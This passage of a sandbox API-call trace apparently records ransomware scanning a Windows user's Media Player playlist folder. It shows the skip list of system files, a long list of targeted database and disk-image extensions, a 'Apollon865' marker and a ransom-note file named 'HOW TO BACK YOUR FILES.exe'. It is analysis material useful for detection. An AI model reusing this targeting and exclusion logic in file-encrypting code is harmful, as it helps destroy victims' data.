	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0046.219] lstrlenW (lpString="qvd") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0046.219] lstrlenW (lpString="rbf") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0046.219] lstrlenW (lpString="rctd") returned 4
	[0046.219] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0046.219] lstrlenW (lpString="rod") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0046.219] lstrlenW (lpString="rodx") returned 4
	[0046.219] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0046.219] lstrlenW (lpString="rpd") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0046.219] lstrlenW (lpString="rsd") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0046.219] lstrlenW (lpString="sas7bdat") returned 8
	[0046.219] lstrcmpiW (lpString1="tars.wpl", lpString2="sas7bdat") returned 1
	[0046.219] lstrlenW (lpString="sbf") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0046.219] lstrlenW (lpString="scx") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0046.219] lstrlenW (lpString="sdb") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0046.219] lstrlenW (lpString="sdc") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0046.219] lstrlenW (lpString="sdf") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0046.219] lstrlenW (lpString="sis") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0046.219] lstrlenW (lpString="spq") returned 3
	[0046.219] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0046.219] lstrlenW (lpString="te") returned 2
	[0046.219] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0046.219] lstrlenW (lpString="teacher") returned 7
	[0046.219] lstrcmpiW (lpString1="ars.wpl", lpString2="teacher") returned -1
	[0046.220] lstrlenW (lpString="tmd") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0046.220] lstrlenW (lpString="tps") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0046.220] lstrlenW (lpString="trc") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0046.220] lstrlenW (lpString="trc") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0046.220] lstrlenW (lpString="trm") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0046.220] lstrlenW (lpString="udb") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0046.220] lstrlenW (lpString="udl") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0046.220] lstrlenW (lpString="usr") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0046.220] lstrlenW (lpString="v12") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0046.220] lstrlenW (lpString="vis") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0046.220] lstrlenW (lpString="vpd") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0046.220] lstrlenW (lpString="vvv") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0046.220] lstrlenW (lpString="wdb") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0046.220] lstrlenW (lpString="wmdb") returned 4
	[0046.220] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0046.220] lstrlenW (lpString="wrk") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0046.220] lstrlenW (lpString="xdb") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0046.220] lstrlenW (lpString="xld") returned 3
	[0046.220] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0046.221] lstrlenW (lpString="xmlff") returned 5
	[0046.221] lstrcmpiW (lpString1="s.wpl", lpString2="xmlff") returned -1
	[0046.221] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".") returned 1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="..") returned 1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="windows") returned -1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="bootmgr") returned -1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="temp") returned -1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="pagefile.sys") returned -1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="boot") returned -1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="ids.txt") returned -1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="ntuser.dat") returned -1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="perflogs") returned -1
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="MSBuild") returned -1
	[0046.221] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36
	[0046.221] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 131
	[0046.221] lstrcpyW (in: lpString1=0x2d3e612, lpString2="02_Music_added_in_the_last_month.wpl" | out: lpString1="02_Music_added_in_the_last_month.wpl") returned="02_Music_added_in_the_last_month.wpl"
	[0046.221] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36
	[0046.221] lstrlenW (lpString="Apollon865") returned 10
	[0046.221] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0046.221] lstrlenW (lpString=".dll") returned 4
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0046.221] lstrlenW (lpString=".lnk") returned 4
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0046.221] lstrlenW (lpString=".ini") returned 4
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0046.221] lstrlenW (lpString=".sys") returned 4
	[0046.221] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0046.221] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36
	[0046.221] lstrlenW (lpString="bak") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0046.222] lstrlenW (lpString="ba_") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0046.222] lstrlenW (lpString="dbb") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0046.222] lstrlenW (lpString="vmdk") returned 4
	[0046.222] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0046.222] lstrlenW (lpString="rar") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0046.222] lstrlenW (lpString="zip") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0046.222] lstrlenW (lpString="tgz") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0046.222] lstrlenW (lpString="vbox") returned 4
	[0046.222] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0046.222] lstrlenW (lpString="vdi") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0046.222] lstrlenW (lpString="vhd") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0046.222] lstrlenW (lpString="vhdx") returned 4
	[0046.222] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0046.222] lstrlenW (lpString="avhd") returned 4
	[0046.222] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0046.222] lstrlenW (lpString="db") returned 2
	[0046.222] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0046.222] lstrlenW (lpString="db2") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0046.222] lstrlenW (lpString="db3") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0046.222] lstrlenW (lpString="dbf") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0046.222] lstrlenW (lpString="mdf") returned 3
	[0046.222] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0046.222] lstrlenW (lpString="mdb") returned 3
	[0046.223] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0046.223] lstrlenW (lpString="sql") returned 3
	[0046.223] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0046.223] lstrlenW (lpString="sqlite") returned 6
	[0046.223] lstrcmpiW (lpString1="th.wpl", lpString2="sqlite") returned 1
	[0046.223] lstrlenW (lpString="sqlite3") returned 7
	[0046.223] lstrcmpiW (lpString1="nth.wpl", lpString2="sqlite3") returned -1
	[0046.223] lstrlenW (lpString="sqlitedb") returned 8
	[0046.223] lstrcmpiW (lpString1="onth.wpl", lpString2="sqlitedb") returned -1
	[0046.223] lstrlenW (lpString="xml") returned 3
	[0046.223] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0046.223] lstrlenW (lpString="$er") returned 3
	[0046.223] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0046.223] lstrlenW (lpString="4dd") returned 3
	[0046.223] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0046.223] lstrlenW (lpString="4dl") returned 3
	[0046.223] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0046.223] lstrlenW (lpString="^^^") returned 3
	[0046.223] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0046.223] lstrlenW (lpString="abs") returned 3
	[0046.223] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0046.223] lstrlenW (lpString="abx") returned 3
	[0046.223] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0046.223] lstrlenW (lpString="accdb") returned 5
	[0046.223] lstrcmpiW (lpString1="h.wpl", lpString2="accdb") returned 1
	[0046.223] lstrlenW (lpString="accdc") returned 5
	[0046.226] lstrcmpiW (lpString1="h.wpl", lpString2="accdc") returned 1
	[0046.226] lstrlenW (lpString="accde") returned 5
	[0046.228] lstrcmpiW (lpString1="h.wpl", lpString2="accde") returned 1
	[0046.228] lstrlenW (lpString="accdr") returned 5
	[0046.228] lstrcmpiW (lpString1="h.wpl", lpString2="accdr") returned 1
	[0046.228] lstrlenW (lpString="accdt") returned 5
	[0046.228] lstrcmpiW (lpString1="h.wpl", lpString2="accdt") returned 1
	[0046.228] lstrlenW (lpString="accdw") returned 5
	[0046.228] lstrcmpiW (lpString1="h.wpl", lpString2="accdw") returned 1
	[0046.228] lstrlenW (lpString="accft") returned 5
	[0046.228] lstrcmpiW (lpString1="h.wpl", lpString2="accft") returned 1
	[0046.228] lstrlenW (lpString="adb") returned 3
	[0046.228] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0046.228] lstrlenW (lpString="adb") returned 3
	[0046.228] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0046.228] lstrlenW (lpString="ade") returned 3
	[0046.228] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0046.228] lstrlenW (lpString="adf") returned 3
	[0046.228] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0046.228] lstrlenW (lpString="adn") returned 3
	[0046.229] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0046.229] lstrlenW (lpString="adp") returned 3
	[0046.229] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0046.229] lstrlenW (lpString="alf") returned 3
	[0046.229] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0046.229] lstrlenW (lpString="ask") returned 3
	[0046.229] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0046.229] lstrlenW (lpString="btr") returned 3
	[0046.229] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0046.229] lstrlenW (lpString="cat") returned 3
	[0046.229] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0046.229] lstrlenW (lpString="cdb") returned 3
	[0046.229] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0046.229] lstrlenW (lpString="ckp") returned 3
	[0046.229] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0046.229] lstrlenW (lpString="cma") returned 3
	[0046.229] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0046.229] lstrlenW (lpString="cpd") returned 3
	[0046.229] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0046.229] lstrlenW (lpString="dacpac") returned 6
	[0046.229] lstrcmpiW (lpString1="th.wpl", lpString2="dacpac") returned 1
	[0046.229] lstrlenW (lpString="dad") returned 3
	[0046.229] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0046.229] lstrlenW (lpString="dadiagrams") returned 10
	[0046.229] lstrcmpiW (lpString1="_month.wpl", lpString2="dadiagrams") returned -1
	[0046.229] lstrlenW (lpString="daschema") returned 8
	[0046.229] lstrcmpiW (lpString1="onth.wpl", lpString2="daschema") returned 1
	[0046.229] lstrlenW (lpString="db-journal") returned 10
	[0046.229] lstrcmpiW (lpString1="_month.wpl", lpString2="db-journal") returned -1
	[0046.229] lstrlenW (lpString="db-shm") returned 6
	[0046.229] lstrcmpiW (lpString1="th.wpl", lpString2="db-shm") returned 1
	[0046.229] lstrlenW (lpString="db-wal") returned 6
	[0046.229] lstrcmpiW (lpString1="th.wpl", lpString2="db-wal") returned 1
	[0046.230] lstrlenW (lpString="dbc") returned 3
	[0046.230] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0046.230] lstrlenW (lpString="dbs") returned 3
	[0046.230] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0046.230] lstrlenW (lpString="dbt") returned 3
	[0046.230] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0046.230] lstrlenW (lpString="dbv") returned 3
	[0046.230] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0046.230] lstrlenW (lpString="dbx") returned 3
	[0046.230] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0046.230] lstrlenW (lpString="dcb") returned 3
	[0046.230] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0046.230] lstrcpyW (in: lpString1=0x2d3e612, lpString2="03_Music_rated_at_4_or_5_stars.wpl" | out: lpString1="03_Music_rated_at_4_or_5_stars.wpl") returned="03_Music_rated_at_4_or_5_stars.wpl"
	[0046.230] lstrlenW (lpString="03_Music_rated_at_4_or_5_stars.wpl") returned 34
	[0046.230] lstrlenW (lpString="Apollon865") returned 10
	[0046.230] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0046.230] lstrlenW (lpString=".dll") returned 4
	[0046.230] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0046.230] lstrlenW (lpString=".lnk") returned 4
	[0046.230] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0046.230] lstrlenW (lpString=".ini") returned 4
	[0046.230] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0046.230] lstrlenW (lpString=".sys") returned 4
	[0046.230] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0046.230] lstrlenW (lpString="03_Music_rated_at_4_or_5_stars.wpl") returned 34
	[0046.230] lstrcpyW (in: lpString1=0x2d3e612, lpString2="04_Music_played_in_the_last_month.wpl" | out: lpString1="04_Music_played_in_the_last_month.wpl") returned="04_Music_played_in_the_last_month.wpl"
	[0046.230] lstrlenW (lpString="04_Music_played_in_the_last_month.wpl") returned 37
	[0046.230] lstrlenW (lpString="Apollon865") returned 10
	[0046.231] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0046.231] lstrlenW (lpString=".dll") returned 4
	[0046.231] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0046.231] lstrlenW (lpString=".lnk") returned 4
	[0046.231] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0046.231] lstrlenW (lpString=".ini") returned 4
	[0046.231] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0046.231] lstrlenW (lpString=".sys") returned 4
	[0046.231] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0046.231] lstrlenW (lpString="04_Music_played_in_the_last_month.wpl") returned 37
	[0046.231] lstrcpyW (in: lpString1=0x2d3e612, lpString2="05_Pictures_taken_in_the_last_month.wpl" | out: lpString1="05_Pictures_taken_in_the_last_month.wpl") returned="05_Pictures_taken_in_the_last_month.wpl"
	[0046.231] lstrlenW (lpString="05_Pictures_taken_in_the_last_month.wpl") returned 39
	[0046.231] lstrlenW (lpString="Apollon865") returned 10
	[0046.231] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0046.231] lstrlenW (lpString=".dll") returned 4
	[0046.231] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0046.231] lstrlenW (lpString=".lnk") returned 4
	[0046.231] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0046.231] lstrlenW (lpString=".ini") returned 4
	[0046.231] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0046.231] lstrlenW (lpString=".sys") returned 4
	[0046.231] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0046.231] lstrlenW (lpString="05_Pictures_taken_in_the_last_month.wpl") returned 39
	[0046.231] lstrcpyW (in: lpString1=0x2d3e612, lpString2="06_Pictures_rated_4_or_5_stars.wpl" | out: lpString1="06_Pictures_rated_4_or_5_stars.wpl") returned="06_Pictures_rated_4_or_5_stars.wpl"
	[0046.231] lstrlenW (lpString="06_Pictures_rated_4_or_5_stars.wpl") returned 34
	[0046.231] lstrlenW (lpString="Apollon865") returned 10
	[0046.231] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0046.231] lstrlenW (lpString=".dll") returned 4
	[0046.231] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0046.231] lstrlenW (lpString=".lnk") returned 4
	[0046.231] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0046.231] lstrlenW (lpString=".ini") returned 4
	[0046.232] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0046.232] lstrlenW (lpString=".sys") returned 4
	[0046.232] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0046.232] lstrlenW (lpString="06_Pictures_rated_4_or_5_stars.wpl") returned 34
	[0046.232] lstrcpyW (in: lpString1=0x2d3e612, lpString2="07_TV_recorded_in_the_last_week.wpl" | out: lpString1="07_TV_recorded_in_the_last_week.wpl") returned="07_TV_recorded_in_the_last_week.wpl"
	[0046.232] lstrlenW (lpString="07_TV_recorded_in_the_last_week.wpl") returned 35
	[0046.232] lstrlenW (lpString="Apollon865") returned 10
	[0046.232] lstrcmpiW (lpString1="t_week.wpl", lpString2="Apollon865") returned 1
	[0046.232] lstrlenW (lpString=".dll") returned 4
	[0046.232] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".dll") returned 1
	[0046.232] lstrlenW (lpString=".lnk") returned 4
	[0046.232] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".lnk") returned 1
	[0046.232] lstrlenW (lpString=".ini") returned 4
	[0046.232] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".ini") returned 1
	[0046.232] lstrlenW (lpString=".sys") returned 4
	[0046.232] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".sys") returned 1
	[0046.232] lstrlenW (lpString="07_TV_recorded_in_the_last_week.wpl") returned 35
	[0046.232] lstrcpyW (in: lpString1=0x2d3e612, lpString2="08_Video_rated_at_4_or_5_stars.wpl" | out: lpString1="08_Video_rated_at_4_or_5_stars.wpl") returned="08_Video_rated_at_4_or_5_stars.wpl"
	[0046.232] lstrlenW (lpString="08_Video_rated_at_4_or_5_stars.wpl") returned 34
	[0046.232] lstrlenW (lpString="Apollon865") returned 10
	[0046.232] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0046.232] lstrlenW (lpString=".dll") returned 4
	[0046.232] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0046.232] lstrlenW (lpString=".lnk") returned 4
	[0046.232] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0046.232] lstrlenW (lpString=".ini") returned 4
	[0046.232] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0046.232] lstrlenW (lpString=".sys") returned 4
	[0046.232] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0046.232] lstrlenW (lpString="08_Video_rated_at_4_or_5_stars.wpl") returned 34
	[0046.233] lstrcpyW (in: lpString1=0x2d3e612, lpString2="09_Music_played_the_most.wpl" | out: lpString1="09_Music_played_the_most.wpl") returned="09_Music_played_the_most.wpl"
	[0046.233] lstrlenW (lpString="09_Music_played_the_most.wpl") returned 28
	[0046.233] lstrlenW (lpString="Apollon865") returned 10
	[0046.233] lstrcmpiW (lpString1="e_most.wpl", lpString2="Apollon865") returned 1
	[0046.233] lstrlenW (lpString=".dll") returned 4
	[0046.233] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".dll") returned 1
	[0046.233] lstrlenW (lpString=".lnk") returned 4
	[0046.233] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".lnk") returned 1
	[0046.233] lstrlenW (lpString=".ini") returned 4
	[0046.233] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".ini") returned 1
	[0046.233] lstrlenW (lpString=".sys") returned 4
	[0046.233] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".sys") returned 1
	[0046.233] lstrlenW (lpString="09_Music_played_the_most.wpl") returned 28
	[0046.233] lstrcpyW (in: lpString1=0x2d3e612, lpString2="10_All_Music.wpl" | out: lpString1="10_All_Music.wpl") returned="10_All_Music.wpl"
	[0046.233] lstrlenW (lpString="10_All_Music.wpl") returned 16
	[0046.233] lstrlenW (lpString="Apollon865") returned 10
	[0046.233] lstrcmpiW (lpString1="_Music.wpl", lpString2="Apollon865") returned -1
	[0046.233] lstrlenW (lpString=".dll") returned 4
	[0046.233] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".dll") returned 1
	[0046.233] lstrlenW (lpString=".lnk") returned 4
	[0046.233] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".lnk") returned 1
	[0046.233] lstrlenW (lpString=".ini") returned 4
	[0046.233] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".ini") returned 1
	[0046.233] lstrlenW (lpString=".sys") returned 4
	[0046.233] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".sys") returned 1
	[0046.233] lstrlenW (lpString="10_All_Music.wpl") returned 16
	[0046.233] lstrcpyW (in: lpString1=0x2d3e612, lpString2="11_All_Pictures.wpl" | out: lpString1="11_All_Pictures.wpl") returned="11_All_Pictures.wpl"
	[0046.233] lstrlenW (lpString="11_All_Pictures.wpl") returned 19
	[0046.233] lstrlenW (lpString="Apollon865") returned 10
	[0046.234] lstrcmpiW (lpString1="ctures.wpl", lpString2="Apollon865") returned 1
	[0046.234] lstrlenW (lpString=".dll") returned 4
	[0046.234] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".dll") returned 1
	[0046.234] lstrlenW (lpString=".lnk") returned 4
	[0046.234] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".lnk") returned 1
	[0046.234] lstrlenW (lpString=".ini") returned 4
	[0046.234] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".ini") returned 1
	[0046.234] lstrlenW (lpString=".sys") returned 4
	[0046.234] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".sys") returned 1
	[0046.234] lstrlenW (lpString="11_All_Pictures.wpl") returned 19
	[0046.234] lstrcpyW (in: lpString1=0x2d3e612, lpString2="12_All_Video.wpl" | out: lpString1="12_All_Video.wpl") returned="12_All_Video.wpl"
	[0046.234] lstrlenW (lpString="12_All_Video.wpl") returned 16
	[0046.234] lstrlenW (lpString="Apollon865") returned 10
	[0046.234] lstrcmpiW (lpString1="_Video.wpl", lpString2="Apollon865") returned -1
	[0046.234] lstrlenW (lpString=".dll") returned 4
	[0046.234] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".dll") returned 1
	[0046.234] lstrlenW (lpString=".lnk") returned 4
	[0046.234] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".lnk") returned 1
	[0046.234] lstrlenW (lpString=".ini") returned 4
	[0046.234] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".ini") returned 1
	[0046.234] lstrlenW (lpString=".sys") returned 4
	[0046.234] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".sys") returned 1
	[0046.234] lstrlenW (lpString="12_All_Video.wpl") returned 16
	[0046.234] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713"
	[0046.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0046.234] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713") returned 96
	[0046.234] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713"
	[0046.234] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
